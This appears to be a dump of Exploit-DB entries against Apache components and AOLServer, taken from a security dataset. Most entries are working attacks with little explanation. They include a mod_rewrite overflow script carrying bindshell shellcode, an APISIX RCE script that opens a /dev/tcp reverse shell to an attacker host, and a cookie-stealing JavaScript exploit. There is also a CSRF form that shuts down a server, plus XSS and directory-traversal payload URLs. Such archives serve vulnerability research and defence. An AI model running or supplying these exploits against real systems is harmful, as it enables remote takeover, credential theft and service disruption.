deardaniel/secdata-raw huggingface dataset:
Exploit-DB #33497
Description: AOLServer Terminal 4.5.1 - Escape Sequence in Logs Command Injection
Type: remote
Platform: multiple
Date: 2010-01-11
Author: evilaliv3

Exploit:
source: https://www.securityfocus.com/bid/37712/info

AOLServer is prone to a command-injection vulnerability because it fails to adequately sanitize user-supplied input in logfiles.

Attackers can exploit this issue to execute arbitrary commands in a terminal.

AOLServer 4.5.1 is vulnerable; other versions may also be affected.

The following example is available:

echo -en "GET /\x1b]2;owned?\x07\x0a\x0d\x0a\x0d" > payload
nc www.example.com 80 < payload
Exploit-DB #18442
Description: Apache - httpOnly Cookie Disclosure
Type: remote
Platform: multiple
Date: 2012-01-31
Author: pilate

Exploit:
// Source: https://gist.github.com/1955a1c28324d4724b7b/7fe51f2a66c1d4a40a736540b3ad3fde02b7fb08
// Most browsers limit cookies to 4k characters, so we need multiple
function setCookies (good) {
    // Construct string for cookie value
    var str = "";
    for (var i=0; i< 819; i++) {
        str += "x";
    }
    // Set cookies
    for (i = 0; i < 10; i++) {
        // Expire evil cookie
        if (good) {
            var cookie = "xss"+i+"=;expires="+new Date(+new Date()-1).toUTCString()+"; path=/;";
        }
        // Set evil cookie
        else {
            var cookie = "xss"+i+"="+str+";path=/";
        }
        document.cookie = cookie;
    }
}

function makeRequest() {
    setCookies();

    function parseCookies () {
        var cookie_dict = {};
        // Only react on 400 status
        if (xhr.readyState === 4 && xhr.status === 400) {
            // Replace newlines and match <pre> content
            var content = xhr.responseText.replace(/\r|\n/g,'').match(/<pre>(.+)<\/pre>/);
            if (content.length) {
                // Remove Cookie: prefix
                content = content[1].replace("Cookie: ", "");
                var cookies = content.replace(/xss\d=x+;?/g, '').split(/;/g);
                // Add cookies to object
                for (var i=0; i<cookies.length; i++) {
                    var s_c = cookies[i].split('=',2);
                    cookie_dict[s_c[0]] = s_c[1];
                }
            }
            // Unset malicious cookies
            setCookies(true);
            alert(JSON.stringify(cookie_dict));
        }
    }
    // Make XHR request
    var xhr = new XMLHttpRequest();
    xhr.onreadystatechange = parseCookies;
    xhr.open("GET", "/", true);
    xhr.send(null);
}

makeRequest();
Exploit-DB #20466
Description: Apache 1.3 + PHP 3 - File Disclosure
Type: remote
Platform: multiple
Date: 2000-12-06
Author: china nsl

Exploit:
source: https://www.securityfocus.com/bid/2060/info

Apache Web Server is subject to disclose files to unauthorized users when used in conjunction with the PHP3 script language.

By requesting a specially crafted URL by way of php, it is possible for a remote user to gain read access to a known file that resides on the target host.

Successful exploitation of this vulnerability could lead to the disclosure of sensitive information and possibly assist in further attacks against the victim. 

http://target/index.php3.%5c../..%5cconf/httpd.conf
Exploit-DB #21002
Description: Apache 1.3 - Directory Index Disclosure
Type: remote
Platform: multiple
Date: 2001-07-10
Author: Kevin

Exploit:
source: https://www.securityfocus.com/bid/3009/info

A possible vulnerability exists in Apache that could cause directory contents to be disclosed when directory indexing is enabled, despite the presence of an 'index.html' file.

The problem is likely the result of an error in "multiview" functionality provided as part of Apache's content negotiation support. Exploitation of this problem may lead to the dislosure of sensitive information to attackers. 

http://target-webserver/?M=A
http://target-webserver/?S=D
Exploit-DB #21885
Description: Apache 1.3/2.0.x - Server Side Include Cross-Site Scripting
Type: remote
Platform: multiple
Date: 2002-10-02
Author: mattmurphy

Exploit:
source: https://www.securityfocus.com/bid/5847/info

Apache is reported to be vulnerable to cross site scripting attacks. This vulnerability is due to the SSI error pages of the webserver not being properly sanitized of malicious HTML code.

Attacker-supplied HTML and script code may be executed on a web client visiting the malicious link in the context of the webserver.

Attacks of this nature may make it possible for attackers to manipulate web content or to steal cookie-based authentication credentials. It may be possible to take arbitrary actions as the victim user.

http://%3CIMG%20SRC%3D%22%22%20ONERROR%3D%22alert%28document%2Ecookie%29%22
%3E.apachesite.org/raise_404
Exploit-DB #28365
Description: Apache 2.2.2 - CGI Script Source Code Information Disclosure
Type: remote
Platform: multiple
Date: 2006-08-09
Author: Susam Pal

Exploit:
source: https://www.securityfocus.com/bid/19447/info

Apache is prone to an information-disclosure vulnerability because it fails to properly handle exceptional conditions.

An attacker can exploit this issue to retrieve script source code. Information obtained may aid in further attacks.

Versions 2.2.2 for Microsoft Windows is vulnerable to this issue; other versions may also be affected.

http://www.example.com/CGI-BIN/foo
Exploit-DB #2237
Description: Apache < 1.3.37/2.0.59/2.2.3 mod_rewrite - Remote Overflow
Type: remote
Platform: multiple
Date: 2006-08-21
Author: Jacobo Avariento

Exploit:
#!/bin/sh
# Exploit for Apache mod_rewrite off-by-one.
# Vulnerability discovered by Mark Dowd.
# CVE-2006-3747
# 
# by jack <jack\x40gulcas\x2Eorg>
# 2006-08-20
#
# Thx to xuso for help me with the shellcode.
#
# I suppose that you've the "RewriteRule kung/(.*) $1" rule if not
# you must recalculate adressess.
#
# Shellcode is based on Taeho Oh bindshell on port 30464 and modified
# for avoiding apache url-escape.. Take a look is quite nice ;)
#
# Shellcode address in heap memory on apache 1.3.34 (debian sarge) is at
# 0x0834ae77 for any other version/system find it.
#
# Gulcas rulez :P

echo -e "mod_rewrite apache off-by-one overflow"
echo    "by jack <jack\x40gulcas\x2eorg>\n\n"

if [ $# -ne 1 ] ; then
  echo "Usage: $0 webserver"
  exit
fi

host=$1

echo -ne "GET /kung/ldap://localhost/`perl -e 'print "%90"x128'`%89%e6\
%31%c0%31%db%89%f1%b0%02%89%06%b0%01%89%46%04%b0%06%89%46%08%b0%66%b3\
%01%cd%80%89%06%b0%02%66%89%46%0c%b0%77%66%89%46%0e%8d%46%0c%89%46%04\
%31%c0%89%46%10%b0%10%89%46%08%b0%66%b3%02%cd%80%b0%01%89%46%04%b0%66\
%b3%04%cd%80%31%c0%89%46%04%89%46%08%b0%66%b3%05%cd%80%88%c3%b0%3f%31\
%c9%cd%80%b0%3f%b1%01%cd%80%b0%3f%b1%02%cd%80%b8%23%62%69%6e%89%06%b8\
%23%73%68%23%89%46%04%31%c0%88%46%07%b0%30%2c%01%88%46%04%88%06%89%76\
%08%31%c0%89%46%0c%b0%0b%89%f3%8d%4e%08%8d%56%0c%cd%80%31%c0%b0%01%31%db\
%cd%80%3FC%3FC%3FCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\
%77%ae%34%08CCCCCCCCCCCCCCCCCCCCCCCCCCC%3FC%3F HTTP/1.1\r\n\
Host: $host\r\n\r\n" | nc $host 80

# milw0rm.com [2006-08-21]
Exploit-DB #33868
Description: Apache ActiveMQ 5.2/5.3 - Source Code Information Disclosure
Type: remote
Platform: multiple
Date: 2010-04-22
Author: Veerendra G.G

Exploit:
source: https://www.securityfocus.com/bid/39636/info

Apache ActiveMQ is prone to a vulnerability that lets attackers access source code because it fails to properly sanitize user-supplied input.

An attacker can exploit this vulnerability to retrieve arbitrary files from the vulnerable computer in the context of the webserver process. Information obtained may aid in further attacks.

Apache ActiveMQ 5.3.1 and prior are vulnerable.

NOTE: This vulnerability may be related to BID 27117 (Jetty Double Slash URI Information Disclosure Vulnerability).

http://www.example.com:8161//admin/index.jsp
http://www.example.com:8161//admin/queues.jsp
http://www.example.com:8161//admin/topics.jsp
Exploit-DB #33905
Description: Apache ActiveMQ 5.3 - 'admin/queueBrowse' Cross-Site Scripting
Type: remote
Platform: multiple
Date: 2010-04-28
Author: arun kethipelly

Exploit:
source: https://www.securityfocus.com/bid/39771/info

Apache ActiveMQ is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

ActiveMQ 5.3.0 and 5.3.1 are affected; other versions may also be vulnerable. 

http://www.example.com:8161/admin/queueBrowse/example.A?view=rss&feedType=<script>alert("ACTIVEMQ")</script>
Exploit-DB #50829
Description: Apache APISIX 2.12.1 - Remote Code Execution (RCE)
Type: remote
Platform: multiple
Date: 2022-03-16
Author: Ven3xy

Exploit:
# Exploit Title: Apache APISIX 2.12.1 - Remote Code Execution (RCE)
# Date: 2022-03-16
# Exploit Author: Ven3xy
# Vendor Homepage: https://apisix.apache.org/
# Version: Apache APISIX 1.3 – 2.12.1
# Tested on: CentOS 7
# CVE : CVE-2022-24112


import requests
import sys

class color:
    HEADER = '\033[95m'
    IMPORTANT = '\33[35m'
    NOTICE = '\033[33m'
    OKBLUE = '\033[94m'
    OKGREEN = '\033[92m'
    WARNING = '\033[93m'
    RED = '\033[91m'
    END = '\033[0m'
    UNDERLINE = '\033[4m'
    LOGGING = '\33[34m'
color_random=[color.HEADER,color.IMPORTANT,color.NOTICE,color.OKBLUE,color.OKGREEN,color.WARNING,color.RED,color.END,color.UNDERLINE,color.LOGGING]    
    

def banner():
    run = color_random[6]+'''\n                                   .     , 
        _.._ * __*\./ ___  _ \./._ | _ *-+-
       (_][_)|_) |/'\     (/,/'\[_)|(_)| | 
          |                     |          
\n'''
    run2 = color_random[2]+'''\t\t(CVE-2022-24112)\n'''           
    run3 = color_random[4]+'''{ Coded By: Ven3xy  | Github: https://github.com/M4xSec/ }\n\n'''
    print(run+run2+run3)    

if (len(sys.argv) != 4):
    banner()
    print("[!] Usage   : ./apisix-exploit.py <target_url> <lhost> <lport>")
    exit()
    
else:
    banner()
    target_url = sys.argv[1]  
    lhost = sys.argv[2]
    lport = sys.argv[3]
    
headers1 = {
    'Host': '127.0.0.1:8080',
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.81 Safari/537.36 Edg/97.0.1072.69',
    'X-API-KEY': 'edd1c9f034335f136f87ad84b625c8f1',
    'Accept': '*/*',
    'Accept-Encoding': 'gzip, deflate',
    'Content-Type': 'application/json',
    'Content-Length': '540',
    'Connection': 'close',
}

headers2 = {
    'Host': '127.0.0.1:8080',
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.81 Safari/537.36 Edg/97.0.1072.69',
    'X-API-KEY': 'edd1c9f034335f136f87ad84b625c8f1',
    'Accept': '*/*',
    'Accept-Encoding': 'gzip, deflate',
    'Content-Type': 'application/json',
    'Connection': 'close',
}

json_data = {
    'headers': {
        'X-Real-IP': '127.0.0.1',
        'X-API-KEY': 'edd1c9f034335f136f87ad84b625c8f1',
        'Content-Type': 'application/json',
    },
    'timeout': 1500,
    'pipeline': [
        {
            'path': '/apisix/admin/routes/index',
            'method': 'PUT',
            'body': '{"uri":"/rms/fzxewh","upstream":{"type":"roundrobin","nodes":{"schmidt-schaefer.com":1}},"name":"wthtzv","filter_func":"function(vars) os.execute(\'bash -c \\\\\\"0<&160-;exec 160<>/dev/tcp/'+lhost+'/'+lport+';sh <&160 >&160 2>&160\\\\\\"\'); return true end"}',
        },
    ],
}

response1 = requests.post(target_url+'apisix/batch-requests', headers=headers1, json=json_data, verify=False)

response2 = requests.get(target_url+'rms/fzxewh', headers=headers2, verify=False)
Exploit-DB #29930
Description: Apache AXIS 1.0 - Non-Existent WSDL Path Information Disclosure
Type: remote
Platform: multiple
Date: 2007-04-27
Author: jericho+bblog@attrition.org

Exploit:
source: https://www.securityfocus.com/bid/23687/info

Apache AXIS is prone to a path-information-disclosure vulnerability. Remote unauthorized attackers may be able to determine webserver directory paths.

Information obtained may aid attackers in launching further attacks against an affected server.

Apache AXIS 1.0 is vulnerable to this issue. 

http://www.example.com/axis/tt_pm4l.jws?wsdl
Exploit-DB #34186
Description: Apache Axis2 1.x - '/axis2/axis2-admin' Session Fixation
Type: remote
Platform: multiple
Date: 2010-06-23
Author: Tiago Ferreira Barbosa

Exploit:
source: https://www.securityfocus.com/bid/41076/info

Apache Axis2 is prone to a session-fixation vulnerability.

Attackers can exploit this issue to hijack a user's session and gain unauthorized access to the affected application.

Apache Axis2 1.5 is vulnerable; other versions may also be affected. 

http://www.example.com:8080/axis2/axis2-admin/engagingglobally?submit=%2bEngage 2b&modules=
Exploit-DB #23282
Description: Apache cocoon 2.14/2.2 - Directory Traversal
Type: remote
Platform: multiple
Date: 2003-10-24
Author: Thierry De Leeuw

Exploit:
source: https://www.securityfocus.com/bid/8883/info

It has been reported that Apache Cocoon may be prone to a directory traversal vulnerability that may allow an attacker to traverse outside the server root directory by using '/./../' character sequences. The issue is caused by insufficient sanitization of user-supplied input to the "filename" parameter in the sample "view-source" script.

This vulnerability may be successfully exploited to gain sensitive information about a vulnerable host that could be used to launch further attacks against the system.

Apache Cocoon version 2.1 and 2.2 before 22 Oct 2003 have been reported to be affected by this issue, however other versions may be affected as well.

http://www.example.com:8888/samples/view-source?filename=../../../[existing_file]
Exploit-DB #27096
Description: Apache Geronimo 1.0 - Error Page Cross-Site Scripting
Type: remote
Platform: multiple
Date: 2006-01-16
Author: Oliver Karow

Exploit:
source: https://www.securityfocus.com/bid/16260/info
 
Apache Geronimo is prone to multiple input-validation vulnerabilities because the application fails to properly sanitize user-supplied input.
 
A successful exploit could allow an attacker to compromise the application, access or modify data, or steal cookie-based authentication credentials. The attacker could also exploit this issue to control how the site is rendered to the user; other attacks are also possible. 

http://www.example.com/script-that-dont-has-to-exist.jsp?foobar="/><script>alert(document.cookie)</script>
Exploit-DB #8458
Description: Apache Geronimo 2.1.3 - Multiple Directory Traversal Vulnerabilities
Type: remote
Platform: multiple
Date: 2009-04-16
Author: DSecRG

Exploit:
Digital Security Research Group [DSecRG] Advisory       #DSECRG-09-018

Application:                Apache Geronimo Application Server
Versions Affected:          2.1 - 2.1.3
Vendor URL:                 http://geronimo.apache.org/
Bug:                        Directory Traversal File Upload
Exploits:                   YES
Reported:                   10.12.2008
Vendor response:            10.12.2008
Solution:                   YES
Date of Public Advisory:    16.04.2009
CVE-number:                 2008-5518
Author:                     Digital Security Research Group [DSecRG] (research [at] dsecrg [dot] com)



Description
***********

Geronimo Server Console multiple Directory Traversal vulnerabilities.

A vulnerability was found in several portlets including Services/Repository, Embedded 
DB/DB Manager, and Security/Keystores when running on a Windows server.  This issue may 
allow a remote attacker to upload any file in any directory.

This affects all full JavaEE Geronimo releases or other distributions which include the 
administration web console up to and including Geronimo 2.1.3.



Details
*******

1. Directory Traversal vulnerability found in script /console/portal//Services/Repository

Vulnerable parameters: "group", "artifact", "version", "fileType".

This issue may allow attacker to upload any file to any directory at remote server.


2. Directory Traversal vulnerability found in script /console/portal/Embedded DB/DB Manager

Vulnerable parameter "createDB".


3. Directory Traversal vulnerability found in script

/console/portal//Security/Keystores/__pm0x3console-base0x2Keystores!824133314|0_view/__rp0x3console-base0x2Keystores!824133314|0_mode/createKeystore

Vulnerable parameter "filename".



Solution
********

This security vulnerabilities fixed in Geronimo 2.1.4 release.

New version of Geronimo 2.1.4 can be downloaded from this location:

http://geronimo.apache.org/downloads.html

An alternative workaround (if you choose to not upgrade to Apache Geronimo 2.1.4) would 
be to stop or undeploy the administration web console application in the server.


Credits
*******

http://geronimo.apache.org/21x-security-report.html#2.1.xSecurityReport-214



About
*****

Digital Security is leading IT security company in Russia, providing information security consulting, 
audit and penetration testing services, risk analysis and ISMS-related services and certification for 
ISO/IEC 27001:2005 and PCI DSS standards.
Digital Security Research Group focuses on web application and database security problems with vulnerability 
reports, advisories and whitepapers posted regularly on our website.

Contact:    research [at] dsecrg [dot] com
            http://www.dsecrg.com
            http://www.dsec.ru

# milw0rm.com [2009-04-16]
Exploit-DB #32921
Description: Apache Geronimo 2.1.x - '/console/portal/' URI Cross-Site Scripting
Type: remote
Platform: multiple
Date: 2009-04-16
Author: DSecRG

Exploit:
source: https://www.securityfocus.com/bid/34562/info
 
Apache Geronimo Application Server is prone to multiple remote vulnerabilities:
 
- Multiple directory-traversal vulnerabilities
- A cross-site scripting vulnerability
- Multiple HTML-injection vulnerabilities
- A cross-site request-forgery vulnerability
 
Attackers can exploit these issues to obtain sensitive information, upload arbitrary files, execute arbitrary script code, steal cookie-based authentication credentials, and perform certain administrative actions.
 
Apache Geronimo 2.1 through 2.1.3 are vulnerable.

http://www.example.com/console/portal/"><script>alert('DSecRG XSS')</script><!--
Exploit-DB #32920
Description: Apache Geronimo 2.1.x - '/console/portal/Server/Monitoring' Multiple Cross-Site Scripting Vulnerabilities
Type: remote
Platform: multiple
Date: 2009-04-16
Author: DSecRG

Exploit:
source: https://www.securityfocus.com/bid/34562/info

Apache Geronimo Application Server is prone to multiple remote vulnerabilities:

- Multiple directory-traversal vulnerabilities
- A cross-site scripting vulnerability
- Multiple HTML-injection vulnerabilities
- A cross-site request-forgery vulnerability

Attackers can exploit these issues to obtain sensitive information, upload arbitrary files, execute arbitrary script code, steal cookie-based authentication credentials, and perform certain administrative actions.

Apache Geronimo 2.1 through 2.1.3 are vulnerable.

http://www.example.com/console/portal/Server/Monitoring

Vulnerable parameters: "name", "ip", "username", "description".

Attacker can inject scripts into monitorings.

Example [Monitoring - Create View]:

name = <script>alert('DSecRG XSS')</script>
description = &lt;/textarea&gt;<script>alert("DSecRG XSS")</script>

or

http://www.example.com/console/portal//Server/Monitoring/__ac0x3monitoring0x2monitoring!126896788|0/__pm0x3monitoring0x2monitoring!126896788|0_edit?action=saveA
ddView&name="><script>alert("DSecRG XSS")</script>&description=&lt;/textarea&gt;<script>alert("DSecRG XSS")</script>
Exploit-DB #32922
Description: Apache Geronimo 2.1.x - Cross-Site Request Forgery (Multiple Admin Function)
Type: remote
Platform: multiple
Date: 2009-04-16
Author: DSecRG

Exploit:
source: https://www.securityfocus.com/bid/34562/info
  
Apache Geronimo Application Server is prone to multiple remote vulnerabilities:
  
- Multiple directory-traversal vulnerabilities
- A cross-site scripting vulnerability
- Multiple HTML-injection vulnerabilities
- A cross-site request-forgery vulnerability
  
Attackers can exploit these issues to obtain sensitive information, upload arbitrary files, execute arbitrary script code, steal cookie-based authentication credentials, and perform certain administrative actions.
  
Apache Geronimo 2.1 through 2.1.3 are vulnerable.

<html>
        <form
action='http://www.example/console/portal//Server/Shutdown/__ac0x3console-base0x2ServerManager![PII_REDACTED]|0'
id=1>
                <input type=hidden value='Shutdown' name="shutdown">
                <input type=submit>
        </form>
</html>
<script>
        document.getElementById(1).submit();
</script>
Exploit-DB #40382
Description: Apache Mina 2.0.13 - Remote Command Execution
Type: remote
Platform: multiple
Date: 2016-09-14
Author: Gregory Draperi

Exploit:
Source: https://remoteawesomethoughts.blogspot.com/2016/09/apache-mina-2013-remote-command.html

Apache Mina 2.0.13 uses the OGNL library in the “IoSessionFinder” class. Its constructor takes into parameter one OGNL expression. Then this expression is executed when the method “find” is called. This class seems to be only used in the JMX MINA component “IoServiceMBean”. When the IOServiceMBean is exposed trough JMX it is possible to abuse the function to execute an arbitrary command on the server.

**PoC.zip**
https://drive.google.com/open?id=0ByB_ASBOdiURbVBHMjFxeldmSDg
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40382-1.zip

**MinaJMXConsole.zip**
https://drive.google.com/file/d/0ByB_ASBOdiURQjVCTlYtREotVnM/view
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40382-2.zip
Exploit-DB #9993
Description: Apache mod_perl - 'Apache::Status' / 'Apache2::Status' Cross-Site Scripting
Type: remote
Platform: multiple
Date: 2009-11-09
Author: Richard H. Brain

Exploit:
source: https://www.securityfocus.com/bid/34383/info

The Apache 'mod_perl' module is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. 

http://www.example.com/perl-status/APR::SockAddr::port/%22%3E%3Cscript%3Ealert(1)%3C/script%3E
Exploit-DB #36681
Description: Apache MyFaces - 'ln' Information Disclosure
Type: remote
Platform: multiple
Date: 2012-02-09
Author: Paul Nicolucci

Exploit:
source: https://www.securityfocus.com/bid/51939/info

Apache MyFaces is prone to a remote information-disclosure vulnerability.

Remote attackers can exploit this issue to obtain sensitive information that may aid in further attacks.

The following versions are affected:

Apache MyFaces 2.0.1 through 2.0.11
Apache MyFaces 2.1.0 through 2.1.5 

http://www.example.com/faces/javax.faces.resource/web.xml?ln=../WEB-INF
http://www.example.com/faces/javax.faces.resource/web.xml?ln=..\\WEB-INF